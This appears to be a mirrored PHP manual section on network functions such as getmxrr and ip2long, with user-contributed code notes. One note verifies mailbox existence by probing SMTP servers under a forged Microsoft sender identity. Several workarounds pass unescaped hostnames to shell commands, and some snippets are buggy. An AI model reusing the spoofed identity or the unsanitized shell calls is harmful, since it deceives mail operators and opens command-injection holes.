   if($b_valid_syntax && $b_mx_avail){
     // copy mx records and weight into array $mxs
     $mxs=array();

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_weight[$i]]=$mx_records[$i];
     }

     // sort array mxs to get servers with highest prio
     ksort ($mxs, SORT_NUMERIC );
     reset ($mxs);

     while (list ($mx_weight, $mx_host) = each ($mxs) ) {
       if($b_server_found == 0){

         //try connection on port 25
         $fp = @fsockopen($mx_host,25, $errno, $errstr, 2);
         if($fp){
           $ms_resp="";
           // say HELO to mailserver
           $ms_resp.=send_command($fp, "HELO microsoft.com");

           // initialize sending mail
           $ms_resp.=send_command($fp, "MAIL FROM:<support@microsoft.com>");

           // try receipent address, will return 250 when ok..
           $rcpt_text=send_command($fp, "RCPT TO:<".$email.">");
           $ms_resp.=$rcpt_text;

           if(substr( $rcpt_text, 0, 3) == "250")
             $b_server_found=1;

           // quit mail server connection
           $ms_resp.=send_command($fp, "QUIT");

         fclose($fp);

         }

       }
   }
  }
  return $b_server_found;
}

function send_command($fp, $out){

  fwrite($fp, $out . "\r\n");
  return get_data($fp);
}

function get_data($fp){
  $s="";
  stream_set_timeout($fp, 2);

  for($i=0;$i<2;$i++)
   $s.=fgets($fp, 1024);

  return $s;
}

// support windows platforms
if (!function_exists ('getmxrr') ) {
  function getmxrr($hostname, &$mxhosts, &$mxweight) {
   if (!is_array ($mxhosts) ) {
     $mxhosts = array ();
   }

   if (!empty ($hostname) ) {
     $output = "";
     @exec ("nslookup.exe -type=MX $hostname.", $output);
     $imx=-1;

     foreach ($output as $line) {
       $imx++;
       $parts = "";
       if (preg_match ("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$/", $line, $parts) ) {
         $mxweight[$imx] = $parts[1];
         $mxhosts[$imx] = $parts[2];
       }
     }
     return ($imx!=-1);
   }
   return false;
  }
}

?>
jeff at pzenix dot com
09-Mar-2006 01:58
I should point out that the below example won't work with some domains (.co.uk, .org.uk, .net.uk for example) because it assumes (possibly incorrectly) that the format is [ DOMAIN ].[ EXT ].
off at NOSPAM dot abwesend dot de
11-Feb-2006 11:18
Concerning the message by 'rolf at rowi dot net' (do a check on a address containing a subdomain) we could use:

$email = 'abc@etpc01.trier.fh-rpl.de';

$strDot      = '.';
$strAfterAt  = substr(strstr($email, '@'), 1);
$chunks      = explode($strDot, $strAfterAt);
$cntChunks  = count($chunks) - 1;

$strDomain = $chunks[($cntChunks-1)] . $strDot . $chunks[$cntChunks];

if (!getmxrr( $strDomain, $mxhosts )) {
   echo 'Mailserver not found';
}

// $strDomain is set to 'fh-rpl.de';
31-Aug-2005 11:16
nice function for validating email-adresses! Take care on "register globals" paramter.

http://www.zend.com/zend/spotlight/ev12apr.php
richard dot quadling at bandvulc dot co dot uk
25-May-2005 05:04
Windows alternative for getmxrr without the need for PEAR.

define('DEFAULT_GATEWAY', 'nnn.nnn.nnn.nnn');
function raqgetmxrr($sHostName, &$aMXHosts, &$aWeights = NULL)
   {
   /*
       This function is a replacement for the missing Windows function getmxrr.

       The parameters are the same as those for the normal getmxrr function.

       The steps this function takes are :

       1 - Use NSLOOKUP.EXE to get the MX records for the supplied Host.
       2 - Use regular expressions to extract the mail servers and the preference.
       3 - Sort the results by preference.
       4 - Set the return arrays.
       5 - Return true or false.
   */
   $sNSLookup = shell_exec("nslookup -q=mx {$sHostName} DEFAULT_GATEWAY 2>nul");
   preg_match_all("'^.*MX preference = (\d{1,10}), mail exchanger = (.*)$'simU", $sNSLookup, $aMXMatches);
   if (count($aMXMatches[2]) > 0)
       {
       array_multisort($aMXMatches[1], $aMXMatches[2]);
       $aMXHosts = $aMXMatches[2];
       if (!is_null($aWeights))
           {
           $aWeights = $aMXMatches[1];
           }
       return True;
       }
   else
       {
       return False;
       }
   }

You will need to know your default gateway (either it's IP address or its name).

To do this, run the program IPCONFIG /ALL at a cmd prompt and look for the Default Gateway.

Then replace the 'nnn.nnn.nnn.nnn' with the address.

Richard.
josh/endquote/com
11-Feb-2005 04:56
See this article for a validation tutorial that uses this function and more:

http://www.devshed.com/c/a/PHP/Email-Address-Verification-with-PHP/
rune dot heggtveit at devzone dot progative dot com
23-Jan-2005 05:02
An other way to do mx-lookup on a windows platform.
Rewrote this from an other class i wrote for DNS lookup - so it might be a bit messy - but hope you get the idea.

Big thanks to the rfc community.

<?php

class mxlookup
{
     var $dns_socket = NULL;
     var $QNAME = "";
     var $dns_packet= NULL;
     var $ANCOUNT = 0;
     var $cIx = 0;
     var $dns_repl_domain;
     var $arrMX = array();

     function mxlookup($domain, $dns="192.168.2.1")
     {
         $this->QNAME($domain);
         $this->pack_dns_packet();
         $dns_socket = fsockopen("udp://$dns", 53);

         fwrite($dns_socket,$this->dns_packet,strlen($this->dns_packet));
         $this->dns_reply  = fread($dns_socket,1);
         $bytes = stream_get_meta_data($dns_socket);
         $this->dns_reply .= fread($dns_socket,$bytes['unread_bytes']);
         fclose($dns_socket);
         $this->cIx=6;
         $this->ANCOUNT  = $this->gord(2);
         $this->cIx+=4;
         $this->parse_data($this->dns_repl_domain);
         $this->cIx+=7;

         for($ic=1;$ic<=$this->ANCOUNT;$ic++)
         {
           $QTYPE = ord($this->gdi($this->cIx));
           if($QTYPE!==15){print("[MX Record not returned]"); die();}
           $this->cIx+=9;
           $mxPref = ord($this->gdi($this->cIx));
           $this->parse_data($curmx);
           $this->arrMX[] = array("MX_Pref" => $mxPref, "MX" => $curmx);
           $this->cIx+=3;
         }
     }

     function parse_data(&$retval)
     {
       $arName = array();
       $byte = ord($this->gdi($this->cIx));
       while($byte!==0)
       {
         if($byte==192) //compressed
         {
           $tmpIx = $this->cIx;
           $this->cIx = ord($this->gdi($cIx));
           $tmpName = $retval;
           $this->parse_data($tmpName);
           $retval=$retval.".".$tmpName;
           $this->cIx = $tmpIx+1;
           return;
         }
         $retval="";
         $bCount = $byte;
         for($b=0;$b<$bCount;$b++)
         {
           $retval .= $this->gdi($this->cIx);
         }
         $arName[]=$retval;
         $byte = ord($this->gdi($this->cIx));
       }
       $retval=join(".",$arName);
     }

     function gdi(&$cIx,$bytes=1)
     {
       $this->cIx++;
       return(substr($this->dns_reply, $this->cIx-1, $bytes));
     }

     function QNAME($domain)
     {
       $dot_pos = 0; $temp = "";
       while($dot_pos=strpos($domain,"."))
       {
         $temp  = substr($domain,0,$dot_pos);
         $domain = substr($domain,$dot_pos+1);
         $this->QNAME .= chr(strlen($temp)).$temp;
       }
       $this->QNAME .= chr(strlen($domain)).$domain.chr(0);
     }

     function gord($ln=1)
     {
       $reply="";
       for($i=0;$i<$ln;$i++){
         $reply.=ord(substr($this->dns_reply,$this->cIx,1));
         $this->cIx++;
         }

       return $reply;
     }

     function pack_dns_packet()
     {
       $this->dns_packet = chr(0).chr(1).
                           chr(1).chr(0).
                           chr(0).chr(1).
                           chr(0).chr(0).
                           chr(0).chr(0).
                           chr(0).chr(0).
                           $this->QNAME.
                           chr(0).chr(15).
                           chr(0).chr(1);
     }

}

?>

<?php

/* Exampe of use: */
$mx = new mxlookup("php.net");

print $mx->ANCOUNT." MX Records\n";
print "Records returned for ".$mx->dns_repl_domain.":\n<pre>";
print_r($mx->arrMX);

?>

Return:

02 MX Records Records returned for php.net:

Array
(
   [0] => Array
       (
           [MX_Pref] => 15
           [MX] => smtp.osuosl.org
       )

   [1] => Array
       (
           [MX_Pref] => 5
           [MX] => osu1.php.net
       )

)
rolf at rowi dot net
21-Jan-2005 10:36
Be aware that not just user@example.com ist a valid address, also user@subnet.example.com is valid (but maybe less common). Just got into trouble with this check...

Rolf
siclawrence at gmail dot com
04-Jan-2005 10:43
This code replicates online tools that let you check if an email address is valid. First it checks if the email format is correct, then looks up and prints the mx records. All nicely formatted with fancy words that in the end prints whether the email address valid or invalid.

<?php
$email = "email@domain.com";

print("Checking: $email<br>");

if (eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)+$", $email)) {

   print("Format Test: PASSED<br>");
   print("Online host verification Test...<br><br>");
   print("MX Records for: $email<br>");

   list($alias, $domain) = split("@", $email);

   if (checkdnsrr($domain, "MX")) {

       getmxrr($domain, $mxhosts);

       foreach($mxhosts as $mxKey => $mxValue){
           print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mxValue<br>");
       }

       print("Online host verification Test: PASSED<br><br>");
       print("Email Status: VALID");

   } else {

       print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No records found.<br>");
       print("Online host verification Test: FAILED<br><br>");
       print("Email Status: INVALID");

   }

} else {

   print("Format Test: FAILED<br><br>");
   print("Invalid email address provided.<br><br>");
   print("Email Status: INVALID");

}
?>
zorlac_man at hotmail dot com
15-May-2004 03:15
For some reason this and the other DNS lookup functions seem to be really slow on my Linux box. I've checked several things and have no explanation.

As a work-around, I gave in and just used a system call to dig:

<?php
CheckMX("fakedomain.org");
CheckMX("hotmail.com");

function CheckMX($domain) {
       exec("dig +short MX " . escapeshellarg($domain),$ips);
       if($ips[0] == "") {
               print "MX record found for $domain not found!\n";
               return FALSE;
       }
       print "MX Record for $domain found\n";
       return TRUE;
}
?>

Output:

MX record found for fakedomain.org not found!
MX Record for hotmail.com found

As someone else pointed out, it is prudent to check to see if the TLD has an IP address if the MX record is not found.
ng4rrjanbiah at rediffmail dot com
26-Feb-2004 07:11
Here is a better workaround for Windows platform. Tested on Windows XP. Highly impressed by "geoffbrisbine A T y a h o o DOT c o m"'s idea of nslookup usage.

<?php
function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('nslookup -type=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
   {
     if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
         $mxhosts[] = $matches[1];
   }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
echo getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

HTH,
R. Rajesh Jeba Anbiah
geoffbrisbine A T y a h o o DOT c o m
25-Sep-2002 12:39
I was pretty disappointed that the Win32 build of PHP doesn't incorporate getmxrr so, since I'm a naive newbie, I decided to hack together my own (and I stress hack).  This has been tested on Win 2000 and Win XP.  There's no reason this shouldn't work on Win NT but it will not work on Win 9x (you need the nslookup command).  It will finish with the array $mx that will be a multidimensional array with the MX preference, host name and ip address. You can do a print_r ( $mx ) to see what it looks like.

-----------------------------------------------

<?php
$command = "nslookup -type=mx yahoo.com";
exec ( $command, $result );

$i = 0;
while ( list ( $key, $value ) = each ( $result ) ) {
   if ( strstr ( $value, "mail exchanger" ) ) { $nslookup[$i] = $value; $i++; }
}

while ( list ( $key, $value ) = each ( $nslookup ) ) {
   $temp = explode ( " ", $value );
   $mx[$key][0] = $temp[3];
   $mx[$key][1] = $temp[7];
   $mx[$key][2] = gethostbyname ( $temp[7] );
}

   array_multisort ( $mx );
?>
paul at start dot co dot uk
17-Jan-2001 04:48
Prevent your dns server from 'creating' a valid host name by appending the local domain to incomplete emails by appending to the domain a  trailing . both in the pattern match and mx checks:

if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z][-.0-9a-z]*\\.[a-z]{2,3}[.]?$", $string, $check)) {
   $host = substr(strstr($check[0], '@'), 1).".";
   if ( getmxrr($host, $validate_email_temp) )
       return TRUE;
   // THIS WILL CATCH DNSs THAT ARE NOT MX.
   if(checkdnsrr($host,"ANY"))
       return TRUE;
}
return FALSE;
add a note add a note

后退 | 起点 | 前进
gethostbynamel | 上一级 | getprotobyname


getprotobyname

(PHP 4, PHP 5)

getprotobyname -- Get protocol number associated with protocol name

Description

int getprotobyname ( string name )

getprotobyname() returns the protocol number associated with the protocol name as per /etc/protocols.

例子 1. getprotobyname() example

<?php
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot == -1) {
    // if nothing found, returns -1
    echo 'Invalid Protocol';
} else {
    echo 'Protocol #' . $get_prot;
}
?>

See also: getprotobynumber().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
getmxrr | 上一级 | getprotobynumber


getprotobynumber

(PHP 4, PHP 5)

getprotobynumber -- Get protocol name associated with protocol number

Description

string getprotobynumber ( int number )

getprotobynumber() returns the protocol name associated with protocol number as per /etc/protocols.

See also: getprotobyname().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
getprotobyname | 上一级 | getservbyname


getservbyname

(PHP 4, PHP 5)

getservbyname -- Get port number associated with an Internet service and protocol

Description

int getservbyname ( string service, string protocol )

getservbyname() returns the Internet port which corresponds to service for the specified protocol as per /etc/services. protocol is either "tcp" or "udp" (in lowercase). Returns FALSE if service or protocol is not found.

例子 1. getservbyname() example

<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
    $port = getservbyname($service, 'tcp');
    echo $service . ": " . $port . "<br />\n";
}
?>

For complete list of port numbers see: http://www.iana.org/assignments/port-numbers.

See also: getservbyport().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
getprotobynumber | 上一级 | getservbyport


getservbyport

(PHP 4, PHP 5)

getservbyport -- Get Internet service which corresponds to port and protocol

Description

string getservbyport ( int port, string protocol )

getservbyport() returns the Internet service associated with port for the specified protocol as per /etc/services. protocol is either "tcp" or "udp" (in lowercase).

See also: getservbyname().

add a note add a note User Contributed Notes
q9603062 at topaz dot cqu dot edu dot au
16-Jan-2001 06:28
Like the previous post of palands, the protcol tcp must be in lower case, either quoted or unquoted..

Example:
$value=getservbyport(31337, "tcp");

Uppercase will not work.
paland at stetson dot edu
30-Nov-2000 08:00
Example:
$value=getservbyport(137, "udp");

The same goes for getservbyname()
add a note add a note

后退 | 起点 | 前进
getservbyname | 上一级 | inet_ntop


inet_ntop

(PHP 5 >= 5.1.0RC1)

inet_ntop -- Converts a packed internet address to a human readable representation

Description

string inet_ntop ( string in_addr )

This function converts a 32bit IPv4, or 128bit IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate string representation. Returns FALSE on failure.

例子 1. inet_ntop() Example

<?php
$packed = chr(127) . chr(0) . chr(0) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: 127.0.0.1 */
echo $expanded;

$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

注: 本函数未在 Windows 平台下实现。

See also long2ip(),
inet_pton(), and
ip2long().

add a note add a note User Contributed Notes
MagicalTux at FF dot st
04-May-2005 07:43
For people who need this function but don't have it, I could write a function which should give almost the same result.

<?php
function my_inet_ntop($ip) {
   if (strlen($ip)==4) {
       // ipv4
       list(,$ip)=unpack('N',$ip);
       $ip=long2ip($ip);
   } elseif(strlen($ip)==16) {
       // ipv6
       $ip=bin2hex($ip);
       $ip=substr(chunk_split($ip,4,':'),0,-1);
       $ip=explode(':',$ip);
       $res='';
       foreach($ip as $seg) {
           while($seg{0}=='0') $seg=substr($seg,1);
           if ($seg!='') {
               $res.=($res==''?'':':').$seg;
           } else {
               if (strpos($res,'::')===false) {
                   if (substr($res,-1)==':') continue;
                   $res.=':';
                   continue;
               }
               $res.=($res==''?'':':').'0';
           }
       }
       $ip=$res;
   }
   return $ip;
}
?>

I followed IPv6 reprenstation rules :
- A series of "0"s in a 16bit block can by represented by "0".
- A series of blocks containing only "0"s can be suppressed and represented by "::" (this can be done only once)

(source : http://www.ipv6style.jp/en/faq/latest.shtml#2003022112 )

Example:
<?php
$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = my_inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

I checked in CVS (2005-04-25) and didn't find the inet_ntop function (I really needed to handle IPv6) so I implemented it myself !
mirko dot steiner at slashdevslashnull dot de
24-Mar-2005 03:08
i've used this nice one oneline code:

<?PHP
$one    = 192;
$two    = 168;
$three    = 1;
$four    = 1;

$ip = $one*pow(256,3) + $two*pow(256,2) + $three*pow(256,1) + $four*pow(256,0);

echo $ip;
?>

you can also put the first one, shift them by 24 bits to the right, take the secod and shift them by 16, the 3rd by 8 and put thouse all together bitwise...
add a note add a note

后退 | 起点 | 前进
getservbyport | 上一级 | inet_pton


inet_pton

(PHP 5 >= 5.1.0RC1)

inet_pton -- Converts a human readable IP address to its packed in_addr representation

Description

string inet_pton ( string address )

This function converts a human readable IPv4 or IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate 32bit or 128bit binary structure.

例子 1. inet_pton() Example

<?php
$in_addr = inet_pton('127.0.0.1');

$in6_addr = inet_pton('::1');

?>

注: 本函数未在 Windows 平台下实现。

See also ip2long(),
inet_ntop(), and
long2ip().

add a note add a note User Contributed Notes
me at diogoresende dot net
17-May-2006 05:34
If you want to use the above function you should test for ':' character before '.'. Meaning, you should check if it's an ipv6 address before checking for ipv4.
Why? IPv6 allows this type of notation:

::127.0.0.1

If you check for '.' character you will think this is an ipv4 address and it will fail.
djmaze(AT)dragonflycms(.)org
14-Dec-2005 04:01
If you need the functionality but your PHP version doesn't have the functionality (like on windows) the following might help

<?php
function inet_pton($ip)
{
   # ipv4
   if (strpos($ip, '.') !== FALSE) {
       $ip = pack('N',ip2long($ip));
   }
   # ipv6
   elseif (strpos($ip, ':') !== FALSE) {
       $ip = explode(':', $ip);
       $res = str_pad('', (4*(8-count($ip))), '0000', STR_PAD_LEFT);
       foreach ($ip as $seg) {
           $res .= str_pad($seg, 4, '0', STR_PAD_LEFT);
       }
       $ip = pack('H'.strlen($res), $res);
   }
   return $ip;
}
?>
add a note add a note

后退 | 起点 | 前进
inet_ntop | 上一级 | ip2long


ip2long

(PHP 4, PHP 5)

ip2long -- Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

Description

int ip2long ( string ip_address )

The function ip2long() generates an IPv4 Internet network address from its Internet standard format (dotted string) representation. If ip_address is invalid then -1 is returned. Note that -1 does not evaluate as FALSE in PHP.

注: As of PHP 5.0.0 ip2long() returns FALSE when ip_address is invalid.

例子 1. ip2long() Example

<?php
$ip = gethostbyname('www.example.com');
$out = "The following URLs are equivalent:<br />\n";
$out .= 'http://www.example.com/, http://' . $ip . '/, and http://' . sprintf("%u", ip2long($ip)) . "/<br />\n";
echo $out;
?>

注: Because PHP's integer type is signed, and many IP addresses will result in negative integers, you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned IP address.

This second example shows how to print a converted address with the printf() function in both PHP 4 and PHP 5:

例子 2. Displaying an IP address

<?php
$ip   = gethostbyname('www.example.com');
$long = ip2long($ip);

if ($long == -1 || $long === FALSE) {
    echo 'Invalid IP, please try again';
} else {
    echo $ip   . "\n";           // 192.0.34.166
    echo $long . "\n";           // -1073732954
    printf("%u\n", ip2long($ip)); // 3221234342
}
?>

ip2long() should not be used as the sole form of IP validation. Combine it with long2ip():

例子 3. IP validation

<?php
// make sure IPs are valid. also converts a non-complete IP into
// a proper dotted quad as explained below.
$ip = long2ip(ip2long("127.0.0.1")); // "127.0.0.1"
$ip = long2ip(ip2long("10.0.0")); // "10.0.0.0"
$ip = long2ip(ip2long("10.0.256")); // "10.0.1.0"
?>

ip2long() will also work with non-complete IP addresses. Read http://publibn.boulder.ibm.com/doc_link/en_US/a_doc_lib/libs/commtrf2/inet_addr.htm for more info.

注: ip2long() will return FALSE for the IP 255.255.255.255 in PHP 5 <= 5.0.2. It was fixed in PHP 5.0.3 where it returns -1 (same as PHP 4).

See also long2ip() and sprintf().

add a note add a note User Contributed Notes
jcheger at acytec dot com
04-Apr-2006 02:00
This function is an enhancement of Ken's one (see above: ken at expitrans dot com / net_match).
It compares an IP address to several networks, and negative ones as well. Adapted for IP ACLs.

/**
 * Compare an IP address to network(s)
 *
 * The network(s) argument may be a string or an array. A negative network
 * match must start with a "!". Depending on the 3rd parameter, it will
 * return true or false on the first match, or any negative rule will have
 * absolute priority (default).
 *
 * Samples:
 * match_network ("192.168.1.0/24", "192.168.1.1") -> true
 *
 * match_network (array ("192.168.1.0/24",  "!192.168.1.1"), "192.168.1.1")      -> false
 * match_network (array ("192.168.1.0/24",  "!192.168.1.1"), "192.168.1.1", true) -> true
 * match_network (array ("!192.168.1.0/24", "192.168.1.1"),  "192.168.1.1")      -> false
 * match_network (array ("!192.168.1.0/24", "192.168.1.1"),  "192.168.1.1", true) -> false
 *
 * @param mixed  Network to match
 * @param string IP address
 * @param bool  true: first match will return / false: priority to negative rules (default)
 * @see http://php.benscom.com/manual/en/function.ip2long.php#56373
 */
function match_network ($nets, $ip, $first=false) {
   $return = false;
   if (!is_array ($nets)) $nets = array ($nets);

   foreach ($nets as $net) {
       $rev = (preg_match ("/^\!/", $net)) ? true : false;
       $net = preg_replace ("/^\!/", "", $net);

       $ip_arr  = explode('/', $net);
       $net_long = ip2long($ip_arr[0]);
       $x        = ip2long($ip_arr[1]);
       $mask    = long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
       $ip_long  = ip2long($ip);

       if ($rev) {
           if (($ip_long & $mask) == ($net_long & $mask)) return false;
       } else {
           if (($ip_long & $mask) == ($net_long & $mask)) $return = true;
           if ($first && $return) return true;
       }
   }
   return $return;
}
legetz81 (AT) yahoo (dot) com
30-Mar-2006 10:15
Here is a script that will calculate host range and number of hosts with a given ip address CIDR notation (modified code which was posted by phl AT cyways.com):

$ip_addr_cidr = "192.168.37.215/27";
$ip_arr = explode('/', $ip_addr_cidr);

$bin = '';
for($i=1;$i<=32;$i++) {
   $bin .= $ip_arr[1] >= $i ? '1' : '0';
}
$ip_arr[1] = bindec($bin);

$ip = ip2long($ip_arr[0]);
$nm = ip2long($ip_arr[1]);
$nw = ($ip & $nm);
$bc = $nw | (~$nm);

echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
echo "Host Range:        " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";

This will produce:
Number of Hosts:    30
Host Range:        192.168.37.193 -> 192.168.37.222
Polarina
10-Mar-2006 10:37
Using the option that "paul at santasoft point com" mentioned will make IP Addresses larger than 2147483647 (Around 128.0.0.0) become 2147483647 and it wont go higher than that.
So it's not recommended to use his solution.
novikov at harizma dot lv
21-Dec-2005 11:57
Please not , that the results of ip2long on 64bit servers is different form 32bit.

Take a look here: http://bugs.php.net/bug.php?id=18816

It's a feature, that ip2long on 64bit always returned UNSIGNED result like after spitf("%u\n",ip2long());
greg at netops dot gvtc dot com
20-Dec-2005 07:43
Re:  m.ozarek's isIpMask() function

You might want to adjust your preg_match line from:

if(preg_match("/[0-9].[0-9].[0-9].[0-9]/",$mask)){

to

if(preg_match("/[0-9]++\.[0-9]++\.[0-9]++\.[0-9]++/",$mask)){

this should properly match up to 3 characters per octet and require that the periods be periods not just any character.  I tested against a handful of IPs, and it seemed to match fine, and did not allow a 7 digit number to be considered a mask to check.  This is probably more useful if doing a match against a regular IP than against the subnet mask, but its always good to have more layers of checking.

*note.. not all applications support the regex + metacharacter.
paul at santasoft point com
02-Nov-2005 11:03
to complement daevid at daevid dot com's note (11 Nov 2004) about the catch being that PHP returns negative values....

If you define your mysql column that stores the ip address in INT format as signed (not unsigned), then it'll work just fine.

No need to do any conversion using sprintf and this way you'll keep the value and be able to use PHP's long2ip() function on the value and get an accurate result.

SO..  define your MySQL column as signed (leave the Attributes select box in phpMyAdmin blank) and you won't need to do any conversions or whatnot.
02-Sep-2005 03:47
# m.ozarek
#
# Check if given mask is correct. You can check the short format mask
# like 8,16,24 or long format like 255.255.255.0
#

function isIpMask($mask){

   $format = '';
   if(preg_match("/[0-9].[0-9].[0-9].[0-9]/",$mask)){
       $format = "long";
   }else{
       if($mask<=30){
           $format = "short";
       }else{
           return false;
       }
   }
   switch($format){
       case long;
           $mask = decbin(ip2long($mask));
       break;
       case short:
           $tmp = $mask;
           for($i=0; $i < $mask ;$i++){
               $tmp.= 1;
           }
           for($j=0; $j < (32 - $mask);$j++){
               $tmp.= 0;
           }
           $mask = $tmp;
       break;
   }
   if(strlen($mask) <= 32){
       for($i=0;$i<=32 ;$i++){
           $bit = substr($mask,$i,1);
           if(($bit - substr($mask,$i+1,1)) < 0){
               return false;
           }
       }
   }
   return true;
}
# EXAMPLE
# isIpMask("255.255.255.0") -> return true
# isIpMask("24") -> return true
# isIpMask("5.5.5.5") -> return false
ken at expitrans dot com
01-Sep-2005 06:31
Below is a merged form of all various notes, and a better (and correct) network matching function.

<?php

function net_match($network, $ip) {
     // determines if a network in the form of 192.168.17.1/16 or
     // 127.0.0.1/255.255.255.255 or 10.0.0.1 matches a given ip
     $ip_arr = explode('/', $network);
     $network_long = ip2long($ip_arr[0]);

     $x = ip2long($ip_arr[1]);
     $mask =  long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
     $ip_long = ip2long($ip);

     // echo ">".$ip_arr[1]."> ".decbin($mask)."\n";
     return ($ip_long & $mask) == ($network_long & $mask);
}

echo net_match('192.168.17.1/16', '192.168.15.1')."\n"; // returns true
echo net_match('127.0.0.1/255.255.255.255', '127.0.0.2')."\n"; // returns false
echo net_match('10.0.0.1', '10.0.0.1')."\n"; // returns true

?>
tristram at ccteam dot ru
26-Jul-2005 09:33
<?php
if (!function_exists("ip2long"))
{
function ip2long($ip)
{
 $ip = explode(".",$ip);
 if (!is_numeric(join(NULL,$ip)) or count($ip) != 4) {return false;}
 else {return $ip[3]+256*$ip[2]+256*256*$ip[1]+256*256*256*$ip[0];}
}
}
?>
cam at wecreate dot com
21-Jul-2005 12:37
A simple function to compare two IP addresses against a netmask. Useful if you're locking down a web app with an IP address, but can't force the IPs to be exactly the same.

function ipcompare ($ip1, $ip2, $mask) {
   $masked1 = ip2long($ip1) & ip2long($mask); // bitwise AND of $ip1 with the mask
   $masked2 = ip2long($ip2) & ip2long($mask); // bitwise AND of $ip2 with the mask
     if ($masked1 == $masked2) return true;
     else return false;
}

Examples:
ipcompare("192.168.1.63","192.168.1.65","255.255.255.0") // true
ipcompare("192.168.1.63","192.168.1.65","255.255.255.192") // false
Paragina Silviu
12-Jul-2005 11:41
Note: ip2long and long2ip do not function as the c linux functions inet_addr and inet_ntoa. They store the long in reverse byte order (little endian vs big endian i guess).
For example you send 10.0.0.1 to inet_ntoa you take the long from the result and you pass it to long2ip  you get 1.0.0.10. You won't run into this issue unless you use a database both from c linux programs and php scripts.

My first ideea was to reverse the long, but unfortunatley the long was stored as unsigned and i got a lot of problems doing calculations with it (some operations would work well others not; probably it was stored as float i do not know for sure...)

So my solution was

function str_rev_ip($str)
{
   $ar=explode(".",$str);
   return "$ar[3].$ar[2].$ar[1].$ar[0]";
}

and i take the result from inet_ntoa and parse it as str_rev_ip(long2ip($var))
tomlove at gmail dot com
04-Jul-2005 07:09
A quick and efficient way to compare two IPs with a given mask:

<?
function ipmatch ($ip1, $ip2, $mask) {
  if ((ip2long($ip1) & ~(pow(2, 32-$mask)-1)) == (ip2long($ip2) & ~(pow(2, 32-$mask)-1))) return true;
  else return false;
}
?>

Here's an application of it that selects the best IP given the choice of a (possibly private or invalid) forwarded address or a (possibly proxy) apparent address:

<?
$a = $_SERVER['HTTP_X_FORWARDED_FOR'];
if ($a == '' || ipmatch($a, "10.0.0.0", 8) || ipmatch($a, "172.16.0.0", 12) || ipmatch($a, "192.168.0.0", 16) || ipmatch($a, "255.255.255.255", 32)) $ip = $_SERVER['REMOTE_ADDR'];
else $ip = $a;
?>

Or use it to ban people:

<?
$banned_ip = '135.23.12.3';
if (ipmatch($ip, $banned_ip, 32)) die('BANNED!');
?>

The bitwise comparison the function uses can be done in SQL to do ban matches right in your database.
lawpoop at gmail dot com
07-Apr-2005 06:29
Here is a function that tells you if an ip address is in a CIDR range. However, the CIDR argument can be an array of CIDRs. This was created from other matchCIDR functions in the user notes.

function matchCIDR($addr, $cidr) {

       // $addr should be an ip address in the format '0.0.0.0'
       // $cidr should be a string in the format '100/8'
       //      or an array where each element is in the above format

       $output = false;

       if ( is_array($cidr) ) {

               foreach ( $cidr as $cidrlet ) {
                       if ( matchCIDR( $addr, $cidrlet) ) {
                               $output = true;
                       }
               }

       } else {

               list($ip, $mask) = explode('/', $cidr);

               $mask = 0xffffffff << (32 - $mask);

               $output = ((ip2long($addr) & $mask) == (ip2long($ip) & $mask));

       }

       return $output;
}
mailNO at SPAMdapuzz dot com
14-Feb-2005 03:05
a little function to make a range in this form:
0.0.0.1/0.0.0.255          ==> 0.0.0.1/255
0.0.0.1/255.255.255.255    ==> 0.0.0.1/255.255.255.255

<?php
$primo = "62.4.32.0";
$ultimo = "62.4.63.255";
echo do_range($primo,$ultimo); //Example

function do_range($primo,$ultimo) {
list($a,$b,$c,$d)=explode(".",$primo);
list($e,$f,$g,$h)=explode(".",$ultimo);
if ($a !== $e) return "$primo/$ultimo";
else {
   if ($b !== $f) return "$primo/$f.$g.$h";
   else{
       if ($c !== $g) return "$primo/$g.$h";
       else {
           if ($d !== $h) return "$primo/$h";
           else return -1; //error
           }
       }
   }
}
?>
Please write me if you have any suggestion
frank at vista dot com
27-Jan-2005 09:43
remixing mediator's function further:
<?php
function matchCIDR($addr, $cidr) {
 list($ip, $mask) = explode('/', $cidr);
 return (ip2long($addr) >> (32 - $mask) == ip2long($ip) >> (32 - mask));
}
?>
01-Dec-2004 10:06
I re-wrote the functions from jbothe at hotmail dot com as a little exercise in OO and added a couple of extra functions.

<?php

 //--------------
// IPv4 class
class ipv4
{
  var $address;
  var $netbits;

   //--------------
  // Create new class
  function ipv4($address,$netbits)
  {
   $this->address = $address;
   $this->netbits = $netbits;
  }

   //--------------
  // Return the IP address
  function address() { return ($this->address); }

   //--------------
  // Return the netbits
  function netbits() { return ($this->netbits); }

   //--------------
  // Return the netmask
  function netmask()
  {
